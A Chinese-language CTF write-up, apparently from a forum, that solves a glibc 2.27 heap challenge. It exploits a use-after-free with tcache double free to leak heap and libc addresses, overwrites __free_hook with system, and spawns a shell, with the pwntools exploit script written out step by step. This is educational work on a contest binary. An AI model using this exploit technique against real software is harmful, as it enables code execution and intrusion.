前几天打了安恒4月月赛,pwn2给我的感觉还挺巧妙的 ,今天复盘一下,把具体的利用过程理一下,顺带复习
远端环境已经无了,题目glibc版本是2.27 ubuntu18.04(会涉及到一些tcache的知识)
本地调试用虚拟机自带的libc就行
首先IDA分析
典型的菜单选择题目 其中buy 用于申请,第二个功能不可用,show用于打印,sell用于free
深入分析每一个函数的具体实现
1.buy
arena为全局数组 位于bss段 地址0x6020a0
申请一个堆块是会有两次malloc一次固定的 area[v0] = (void **)malloc(0x10uLL);用于存放后续的堆地址(堆块大小为固定的0x20),命名为指针堆块
第二次malloc(size)申请出用户指定大小的堆块
需要说明的是如果第二次的size为0x10那么这个堆块(命名为数据堆块)就会和指针堆块相邻
申请完成后接受输入内容,不存在堆溢出漏洞
2.show
正常的打印功能,puts()内的参数为指针堆块的指针(该指针指向数据堆块的data段,不是指向数据堆块的首地址)
打印的检查为指针堆快(指针堆快的地址存放于area[v0])是否为空,不为空时将指针指向的内容打印出,这一点在后续的泄漏还会用到
3.sell
该函数主要功能为free ,free掉指针堆块和数据堆块,但是在free之后没有将指针置为null
是一个典型的uaf 漏洞
pwntools开始编写脚本
首先给出定义的一些函数 ,方便后续操作
def new(size,content):
p.sendlineafter('choice:','1')
p.sendlineafter('house:',str(size))
p.sendafter('your house:',content)
def show(index):
p.sendlineafter('choice:','3')
p.sendlineafter('index:',str(index))
def free(index):
p.sendlineafter('choice:','4')
p.sendlineafter('index:',str(index))
1.通过double free 构造环状链表泄漏堆地址
new(0x10,'aaaa') #0
new(0x10,'bbbb') #1
new(0x10,'cccc') #2
new(0x10,'dddd') #3
#pause()1
free(2)
free(0)
#pause()2
free(0)
show(0)
#pause()3
首先我们观察一下pause1时的堆块分布情况(每次下断点运行后,都是重新运行脚本 ,所以堆地址会有变化,但是后两位不变,如果有图与文字不对应的情况,就看地址的后两位就行)
此时的area全局数组的情况如下
通过上面两图,可以清楚的发现指针的指向关系:
area[v0]->指针堆块的数据段,指针堆块的数据段的存放的是指向数据堆块数据段的指针(有点绕,得把关系理清楚)
我们可以通过先free chunk2让两个大小为0x20的堆块进入tcache链中
然后再free chunk0 再让chunk0的两个大小为0x20的堆块进入tcache链中
此时我们查看pasue2时的堆块分布情况
此时被释放的堆块进入到tcache链中 关于tcache的相关知识 给出一个链接,里面有比较详细的解释(tcache为先进后出出的结构,图中的tcache链是从左边进入)
https://www.jianshu.com/p/3ef98e86a913
可以发现,chunk1的数据堆块和指针堆块都不为空,指针堆块指向数据堆块的数据段,数据堆块指向chunk2的指针堆块的数据段。
堆块链表的情况为:
chunk0_p->chunk0_d->->chunk2_p->chunk2_d
此时满足sell函数 free(area[v0]),free(*area[v0])的条件
即可以对chunk0进行double free 造成一个环形链表
堆块链表的情况应该是
chunk0_p->chunk0_d->chunk0_p->chunk0_d->->chunk2_p->chunk2_d
此时已经形成了一个环形链表
chunk0_p->chunk0_d->chunk0_p->chunk0_d
此时我们在pause3处观察heap分布情况
我们发现tcache 中已经构成了环形链表
此时show(0)即可打印出堆地址
减去偏移0x260即可得到堆基地址
p.recvuntil('house:\n')
heap_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - 0x260
log.info('HEAP:\t'+ hex(heap_base))
可以看到已经泄漏出了堆的基地址
2.写入elf.got['__libc_start_main'],泄漏libc基地址
具体代码如下
new(0x10,p64(heap_base + 0x2A0))
#pause()
new(0x20,'eeee')
#pause()
new(0x10,p64(elf.got['__libc_start_main']))
show(1)# 泄漏地址
#pause()
p.recvuntil('house:\n')
libc_base = u64(p.recvuntil('\n',drop=True).ljust(8,'\x00')) - libc.sym['__libc_start_main']
log.info('LIBC:\t' + hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
pause()
此时tcache 链表中的堆块情况为:
chunk0_p->chunk0_d->chunk0_p->chunk0_d
area分布如图
我们只需要在area[1]的指向的位置(0x0000000001dd72a0)写入got,然后通过puts(*area[1])即可泄漏出一个libc地址
首先看 new(0x10,p64(heap_base + 0x2A0)) 后的结果
(每次下断点运行后,都是重新运行脚本 ,所以堆地址会有变化,但是后两位不变,如果有图与文字不对应的情况,就看地址的后两位就行)
new(0x20,'eeee')的目的在于,首先消耗掉tcache链中最左边的大小为0x20的一个堆块(0x15ec260)
然后数据堆块的大小为0x30 tcache 链中没有符合大小的堆块,0x15ec280堆块(大小为0x20)得以保留,
当new(0x10,p64(elf.got['__libc_start_main']))的时候就会出现一个错位的情况(精妙之处),原本的数据堆块(0x15ec280)用于存放指针,
而原本的指针堆块(0x15ec2a0,此堆块对应chunk1_p)则用于存放了我们的数据(libc_start_main.got)
反过来再看我们开头说的“我们只需要在area[1]的指向的位置(0x0000000001dd72a0)写入got,然后通过puts(*area[1])即可泄漏出一个libc地址”
我们已经成功的写入了got ,利用puts即可泄漏
3.在已经知道libc地址的情况下,修改free_hook为system,通过free(p),p为指向"bin/sh\x00"的字符串,获取shell
具体代码如下
free(3)
free(3)
new(0x10,p64(free_hook))
pause()
new(0x20,'/bin/sh\x00')
new(0x10,p64(system))
free(8)
p.interactive()
此时的对分布情况如图
利用1中的原理 两次free(3) 造成环状链表
new(0x10,p64(free_hook))
之前的tcache 链如下:
chunk3_p->chunk3_d->chunk3_p->chunk3_d
执行 new(0x10,p64(free_hook))之后的tcache 链如下:
chunk3_p->chunk3_d->free_hook
new(0x20,'/bin/sh\x00')
跟上面的错位原理一样,我们需要free_hook刚好作为数据堆块分出
图中标出的即为free_hook
当我们再次执行new(0x10,p64(system))的free_hook会被以数据堆块的形式分配出
这就造成了free_hook被修改为system
此时我们只需确定'/bin/sh\x00'所在堆块的下标号
通过free()即可大功告成!
对比堆块内容 我们发现下标为8
终于完成了!!!
最后附上exp和文件
exp.rar
sales_office.rar
还是太菜了,pwn真的是一门艺术sales_office.rar
3.37 KB, 下载次数: 8, 下载积分: 吾爱币 -1 CB
题目文件
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |